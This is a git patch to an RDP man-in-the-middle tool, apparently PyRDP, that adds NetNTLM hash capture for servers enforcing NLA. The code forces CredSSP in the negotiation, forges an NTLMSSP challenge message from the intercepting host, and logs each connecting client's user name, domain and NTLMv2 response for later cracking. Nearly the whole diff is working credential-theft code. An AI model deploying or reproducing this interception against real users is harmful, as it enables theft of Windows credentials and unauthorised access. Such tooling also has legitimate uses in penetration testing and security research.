From 24f347720972521d6ddfc25661a224f62134f492 Mon Sep 17 00:00:00 2001 From: lubiedo <63729414+lubiedo@users.noreply.github.com> Date: Fri, 26 Nov 2021 12:05:29 -0600 Subject: [PATCH] Capture the NetNTLM hash if server enforces NLA (#367) If we don't use the NLA redirection feature and the server doesn't support downgrade attacks then the best we can do is steal the hash. Some ASN.1 BER improvements were required as well. Fixes #358 Co-authored-by: Olivier Bilodeau --- pyrdp/core/ber.py | 24 +++++- pyrdp/enum/__init__.py | 2 +- pyrdp/enum/ntlmssp.py | 32 +++++++- pyrdp/mitm/RDPMITM.py | 9 ++- pyrdp/mitm/X224MITM.py | 31 ++++++-- pyrdp/mitm/state.py | 3 + pyrdp/parser/rdp/ntlmssp.py | 151 +++++++++++++++++++++++++++++++++--- pyrdp/pdu/__init__.py | 3 +- pyrdp/pdu/rdp/ntlmssp.py | 23 ++++++ pyrdp/security/nla.py | 36 +++++++-- pyrdp/security/ntlmssp.py | 1 + 11 files changed, 281 insertions(+), 34 deletions(-) diff --git a/pyrdp/core/ber.py b/pyrdp/core/ber.py index 7343f2b31..1c524b4f3 100644 --- a/pyrdp/core/ber.py +++ b/pyrdp/core/ber.py @@ -140,7 +140,27 @@ def writeApplicationTag(tag: Tag, size: int) -> bytes: return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | Tag.BER_TAG_MASK) + Uint8.pack(tag) + writeLength(size) else: return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size) - + +def readContextualTag(s: BinaryIO, tag: Tag, isConstruct: bool) -> int: + """ + Unpack contextual tag and return the tag length. + :param s: stream + :param tag: BER tag + :param isConstruct: True if a construct is expected + """ + byte = Uint8.unpack(s.read(1)) + if byte != ((Class.BER_CLASS_CTXT | berPC(isConstruct)) | (Tag.BER_TAG_MASK & tag)): + raise ValueError("Unexpected contextual tag") + return readLength(s) + +def writeContextualTag(tag: Tag, size: int) -> bytes: + """ + Pack contextual tag. + :param tag: BER tag + :param size: the size of the contextual packet. + """ + return Uint8.pack((Class.BER_CLASS_CTXT | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size) + def readBoolean(s: BinaryIO) -> bool: """ Unpack a BER boolean @@ -231,4 +251,4 @@ def writeEnumeration(value: int) -> bytes: """ Pack a BER enumeration value """ - return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value) \ No newline at end of file + return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 5d0be4092..99aaebf6e 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -9,7 +9,7 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType -from pyrdp.enum.ntlmssp import NTLMSSPMessageType +from pyrdp.enum.ntlmssp import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion from pyrdp.enum.player import MouseButton, PlayerPDUType from pyrdp.enum.rdp import * from pyrdp.enum.orders import DrawingOrderControlFlags diff --git a/pyrdp/enum/ntlmssp.py b/pyrdp/enum/ntlmssp.py index 9246fca13..0185f0ed6 100644 --- a/pyrdp/enum/ntlmssp.py +++ b/pyrdp/enum/ntlmssp.py @@ -6,8 +6,38 @@ from enum import IntEnum - class NTLMSSPMessageType(IntEnum): NEGOTIATE_MESSAGE = 1 CHALLENGE_MESSAGE = 2 AUTHENTICATE_MESSAGE = 3 + +class NTLMSSPChallengeType(IntEnum): + WORKSTATION_BUFFER_OFFSET = 0x38 + + # http://davenport.sourceforge.net/ntlm.html#theNtlmFlags + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832 + # Flags: ( + # NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_NTLM | + # NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_TARGET_TYPE_SERVER | NTLMSSP_NEGOTIATE_LM_KEY | + # NTLMSSP_NEGOTIATE_TARGET_INFO | r | NTLMSSP_NEGOTIATE_128 | + # NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56 + # ) + NEGOTIATE_FLAGS = 0xE28A8215 + + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID = 0x0002 # MsvAvNbDomainName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID = 0x0001 # MsvAvNbComputerName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID = 0x0004 # MsvAvDnsDomainName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID = 0x0003 # MsvAvDnsComputerName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID = 0x0005 # MsvAvDnsTreeName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID = 0x0000 # MsvAvEOL + + +class NTLMSSPChallengeVersion(IntEnum): + CREDSSP_VERSION = 0x05 + + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175 + NEG_PROD_MAJOR_VERSION_HIGH = 0x06 + NEG_PROD_MINOR_VERSION_LOW = 0x02 + NEG_PROD_VERSION_BUILT = 0x0ECE + NEG_NTLM_REVISION_CURRENT = 0x0F # NTLMSSP_REVISION_W2K3 diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index 04ec699bc..f7048cd1e 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -236,8 +236,13 @@ def doClientTls(self): self.client.tcp.startTLS(contextForClient) self.onTlsReady = None - # Add unknown packet handlers. + # Handle NLA connection for client/server ntlmSSPState = NTLMSSPState() + if self.state.ntlmCapture: + # We are capturing the NLA NTLMv2 hash + self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), ntlmCapture=True)) + return + self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) @@ -470,4 +475,4 @@ def addClientIpToLoggers(self, clientIp: str): self.slowPath.log.extra['clientIp'] = self.state.clientIp if self.certs: - self.certs.log.extra['clientIp'] = self.state.clientIp \ No newline at end of file + self.certs.log.extra['clientIp'] = self.state.clientIp diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index c42f53ce9..a26fc5722 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -8,7 +8,7 @@ from logging import LoggerAdapter from pyrdp.core import defer -from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags +from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags, NegotiationProtocols from pyrdp.layer import X224Layer from pyrdp.mitm.state import RDPMITMState from pyrdp.parser import NegotiationRequestParser, NegotiationResponseParser @@ -83,6 +83,11 @@ def onConnectionRequest(self, pdu: X224ConnectionRequestPDU): # Tell the server we only support the allowed authentication methods. chosenProtocols &= self.state.config.authMethods + if self.state.ntlmCapture: + # If we want to capture the NTLM hash, we need to put back CredSSP in here. + # If we don't do that we will not get to the state where we can clone the certificate if needed. + chosenProtocols = NegotiationProtocols.SSL | NegotiationProtocols.CRED_SSP + modifiedRequest = NegotiationRequestPDU( self.originalNegotiationRequest.cookie, self.originalNegotiationRequest.flags, @@ -99,6 +104,7 @@ async def connectToServer(self, payload: bytes): Awaits the coroutine that connects to the server. :param payload: the connection request payload """ + await self.connector() self.server.sendConnectionRequest(payload = payload) @@ -117,22 +123,31 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): parser = NegotiationResponseParser() response = parser.parse(pdu.payload) if isinstance(response, NegotiationFailurePDU): - if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER and self.state.canRedirect(): - self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", { - "redirectionHost": self.state.config.redirectionHost, - "redirectionPort": self.state.config.redirectionPort - }) + if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER: # Disconnect from current server self.disconnector() - # Use redirection host and replay sequence starting from the connection request - self.state.useRedirectionHost() + if self.state.canRedirect(): + self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", { + "redirectionHost": self.state.config.redirectionHost, + "redirectionPort": self.state.config.redirectionPort + }) + + # Use redirection host and replay sequence starting from the connection request + self.state.useRedirectionHost() + else: + # If we are not configured to redirect then we should capture the NTLM hash + self.log.info("Server requires CredSSP/NLA and we are not configured to support it. Attempting to capture client's NTLM hashes.") + self.state.ntlmCapture = True + self.onConnectionRequest(self.originalConnectionRequest) return else: self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)}) payload = pdu.payload + elif self.state.ntlmCapture: + payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) else: payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols)) diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 07190d35d..bb6f1d507 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -87,6 +87,9 @@ def __init__(self, config: MITMConfig, sessionID: str): self.effectiveTargetPort = self.config.targetPort """Port for the effective host""" + self.ntlmCapture = False + """Hijack connection from server and capture NTML hash""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) diff --git a/pyrdp/parser/rdp/ntlmssp.py b/pyrdp/parser/rdp/ntlmssp.py index edf29aa5e..f5bf5cfc5 100644 --- a/pyrdp/parser/rdp/ntlmssp.py +++ b/pyrdp/parser/rdp/ntlmssp.py @@ -7,9 +7,12 @@ from io import BytesIO from typing import Callable, Dict -from pyrdp.core import Uint16LE, Uint32LE +from pyrdp.core import ber, Uint8, Uint16LE, Uint32LE, Uint64LE +from pyrdp.exceptions import UnknownPDUTypeError, ParsingError from pyrdp.parser.parser import Parser -from pyrdp.pdu import NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, NTLMSSPNegotiatePDU, NTLMSSPPDU +from pyrdp.pdu import NTLMSSPChallengePayloadPDU, NTLMSSPTSRequestPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, \ + NTLMSSPNegotiatePDU, NTLMSSPPDU +from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion class NTLMSSPParser(Parser): @@ -34,11 +37,11 @@ def findMessage(self, data: bytes) -> int: return data.find(b"NTLMSSP\x00") def doParse(self, data: bytes) -> NTLMSSPPDU: - stream = BytesIO(data) + sigOffset = self.findMessage(data) + stream = BytesIO(data[sigOffset:]) signature = stream.read(8) messageType = Uint32LE.unpack(stream) - - return self.handlers[messageType](data, stream) + return self.handlers[messageType](stream.getvalue(), stream) def parseField(self, data: bytes, fields: bytes) -> bytes: length = Uint16LE.unpack(fields[0: 2]) @@ -53,15 +56,19 @@ def parseNTLMSSPNegotiate(self, data: bytes, stream: BytesIO) -> NTLMSSPNegotiat return NTLMSSPNegotiatePDU() def parseNTLMSSPChallenge(self, data: bytes, stream: BytesIO) -> NTLMSSPChallengePDU: - targetNameFields = stream.read(8) - negotiateFlags = stream.read(4) + workstationLen = Uint16LE.unpack(stream) + workstationMaxLen = Uint16LE.unpack(stream) + workstationBufferOffset = Uint32LE.unpack(stream) + negotiateFlags = Uint32LE.unpack(stream) serverChallenge = stream.read(8) - reserved = stream.read(8) - targetInfoFields = stream.read(8) - version = stream.read(8) + reserved = Uint64LE.unpack(stream) + targetInfoLen = Uint16LE.unpack(stream) + targetInfoMaxLen = Uint16LE.unpack(stream) + targetInfoBufferOffset = Uint32LE.unpack(stream) + version = Uint32LE.unpack(stream) + reserved = stream.read(3) + revisionCurrent = Uint8.unpack(stream) - targetName = self.parseField(data, targetNameFields) - targetInfo = self.parseField(data, targetInfoFields) return NTLMSSPChallengePDU(serverChallenge) def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthenticatePDU: @@ -86,3 +93,123 @@ def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthe response = ntChallengeResponse[16 :] return NTLMSSPAuthenticatePDU(user, domain, proof, response) + + def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSRequestPDU: + if not ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True): + raise UnknownPDUTypeError("Invalid BER tag (%d expected)" % ber.Tag.BER_TAG_SEQUENCE) + + length = ber.readLength(stream) + if length > len(stream.getvalue()): + raise ParsingError("Invalid size for TSRequest (got %d, %d bytes left)" % (length, len(stream.getvalue()))) + + version = None + negoTokens = None + + # [0] version + if not ber.readContextualTag(stream, 0, True): + return NTLMSSPTSRequestPDU(version, negoTokens, data) + version = ber.readInteger(stream) + + # [1] negoTokens + if not ber.readContextualTag(stream, 1, True): + return NTLMSSPTSRequestPDU(version, negoTokens, data) + ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # SEQUENCE OF NegoDataItem + ber.readLength(stream) + ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem + ber.readLength(stream) + ber.readContextualTag(stream, 0, True) + + negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData + return NTLMSSPTSRequestPDU(version, negoTokens) + + def parseNTLMSSPChallengePayload(self, data: bytes, stream: BytesIO, workstationLen: int) -> NTLMSSPChallengePayloadPDU: + workstation = stream.read(workstationLen) + return NTLMSSPChallengePayloadPDU(workstation) + + def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> bytes: + stream = BytesIO() + substream = BytesIO() + + workstation = workstation.encode('utf-16le') + nameLen = len(workstation) + pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation) + + """ + CHALLENGE_MESSAGE structure + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + """ + substream.write(b'NTLMSSP\x00') + Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE, substream) + Uint16LE.pack(nameLen, substream) + Uint16LE.pack(nameLen, substream) + Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET, substream) + Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS, substream) + substream.write(serverChallenge) + Uint64LE.pack(0, substream) + Uint16LE.pack(pairsLen, substream) + Uint16LE.pack(pairsLen, substream) + Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen, substream) + Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH, substream) + Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW, substream) + Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT, substream) + Uint8.pack(0, substream) + Uint8.pack(0, substream) + Uint8.pack(0, substream) + Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT, substream) + + self.writeNTLMSSPTSRequest(stream, NTLMSSPChallengeVersion.CREDSSP_VERSION, substream.getvalue()) + return stream.getvalue() + + def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes): + """ + Write NTLMSSP TSRequest for NEGOTIATION/CHALLENGE/AUTHENTICATION messages + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685 + """ + negoLen = len(negoTokens) + + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(negoLen + 25)) + stream.write(ber.writeContextualTag(0, 3)) + stream.write(ber.writeInteger(version)) # CredSSP version + stream.write(ber.writeContextualTag(1, negoLen + 16)) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(negoLen + 12)) + stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True)) + stream.write(ber.writeLength(negoLen + 8)) + stream.write(ber.writeContextualTag(0, negoLen + 4)) + stream.write(ber.writeOctetString(negoTokens)) + + def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int: + """ + Write CHALLENGE message payload and AV_PAIRS + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e + """ + length = len(workstation) + + stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET) + stream.write(workstation) + + pairsLen = stream.tell() + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID, stream) + Uint16LE.pack(length, stream) + stream.write(workstation) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID, stream) + Uint16LE.pack(length, stream) + stream.write(workstation) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID, stream) + Uint16LE.pack(length, stream) + stream.write(workstation) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID, stream) + Uint16LE.pack(length, stream) + stream.write(workstation) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID, stream) + Uint16LE.pack(length, stream) + stream.write(workstation) + Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID, stream) + Uint16LE.pack(0, stream) + pairsLen = stream.tell() - pairsLen + stream.seek(0) + + return pairsLen + diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index fccc4ce83..45b74821a 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -35,7 +35,8 @@ UnicodeKeyboardEvent, UnusedEvent from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU from pyrdp.pdu.rdp.negotiation import NegotiationFailurePDU, NegotiationRequestPDU, NegotiationResponsePDU -from pyrdp.pdu.rdp.ntlmssp import NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU +from pyrdp.pdu.rdp.ntlmssp import NTLMSSPTSRequestPDU, NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, \ + NTLMSSPAuthenticatePDU, NTLMSSPChallengePayloadPDU from pyrdp.pdu.rdp.pointer import Point, PointerCacheEvent, PointerColorEvent, PointerEvent, PointerNewEvent, \ PointerPositionEvent, PointerSystemEvent from pyrdp.pdu.rdp.security import SecurityExchangePDU, SecurityPDU diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index 4d89c53b0..e8673379c 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -4,6 +4,8 @@ # Licensed under the GPLv3 or later. # +from io import BytesIO + from pyrdp.enum import NTLMSSPMessageType from pyrdp.pdu.pdu import PDU @@ -25,6 +27,16 @@ def __init__(self, serverChallenge: bytes): self.serverChallenge = serverChallenge +class NTLMSSPChallengePayloadPDU(PDU): + """ + Payload of CHALLENGE message containing a data array + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786 + """ + def __init__(self, workstation: str): + super().__init__() + self.workstation = workstation + + class NTLMSSPAuthenticatePDU(NTLMSSPPDU): def __init__(self, user: str, domain: str, proof: bytes, response: bytes): super().__init__(NTLMSSPMessageType.AUTHENTICATE_MESSAGE) @@ -32,3 +44,14 @@ def __init__(self, user: str, domain: str, proof: bytes, response: bytes): self.domain = domain self.proof = proof self.response = response + + +class NTLMSSPTSRequestPDU(PDU): + """ + PDU for TSRequest structures used by CredSSP (client/server) for SPNEGO and Kerberos/NTLM messages + https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685 + """ + def __init__(self, version: int, negoTokens: BytesIO): + super().__init__() + self.version = version + self.negoTokens = negoTokens diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index e636f2b64..94c9a47c6 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -5,13 +5,15 @@ # import logging +import codecs +import secrets from pyrdp.enum import NTLMSSPMessageType from pyrdp.layer import SegmentationObserver, IntermediateLayer from pyrdp.logging import LOGGER_NAMES from pyrdp.logging.formatters import NTLMSSPHashFormatter from pyrdp.parser import NTLMSSPParser -from pyrdp.pdu import NTLMSSPPDU, NTLMSSPAuthenticatePDU +from pyrdp.pdu import NTLMSSPPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU from pyrdp.security import NTLMSSPState @@ -22,7 +24,7 @@ class NLAHandler(SegmentationObserver): This also logs the hash of NLA connection attempts. """ - def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter): + def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter, ntlmCapture: bool = False): """ Create a new NLA Handler. sink: layer to forward packets to. @@ -32,16 +34,36 @@ def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.Lo super().__init__() self.sink = sink self.ntlmSSPState = state - self.log = log self.ntlmSSPParser = NTLMSSPParser() + self.ntlmCapture = ntlmCapture + self.log = log + + def getRandChallenge(self): + """ + Generate a random 64-bit challenge + """ + challenge = b'%016x' % secrets.randbits(16 * 4) + return codecs.decode(challenge, 'hex') def onUnknownHeader(self, header, data: bytes): - messageOffset = self.ntlmSSPParser.findMessage(data) + signatureOffset = self.ntlmSSPParser.findMessage(data) - if messageOffset != -1: - message: NTLMSSPPDU = self.ntlmSSPParser.parse(data[messageOffset :]) + if signatureOffset != -1: + message: NTLMSSPPDU = self.ntlmSSPParser.parse(data) self.ntlmSSPState.setMessage(message) + if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.ntlmCapture: + randomChallenge = self.getRandChallenge() + self.log.debug("NTLMSSP Negotiation") + challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) + + # There might be no state if server side connection was shutdown + if not self.ntlmSSPState: + self.ntlmSSPState = NTLMSSPState() + self.ntlmSSPState.setMessage(challenge) + self.ntlmSSPState.challenge.serverChallenge = randomChallenge + data = self.ntlmSSPParser.writeNTLMSSPChallenge('WINNT', randomChallenge) + if message.messageType == NTLMSSPMessageType.AUTHENTICATE_MESSAGE: message: NTLMSSPAuthenticatePDU user = message.user @@ -57,4 +79,4 @@ def onUnknownHeader(self, header, data: bytes): "ntlmSSPHash": (ntlmSSPHash) }) - self.sink.sendBytes(data) \ No newline at end of file + self.sink.sendBytes(data) diff --git a/pyrdp/security/ntlmssp.py b/pyrdp/security/ntlmssp.py index a8e83ebee..d6d3485ee 100644 --- a/pyrdp/security/ntlmssp.py +++ b/pyrdp/security/ntlmssp.py @@ -23,3 +23,4 @@ def setMessage(self, pdu: NTLMSSPPDU): self.challenge = pdu else: self.authenticate = pdu +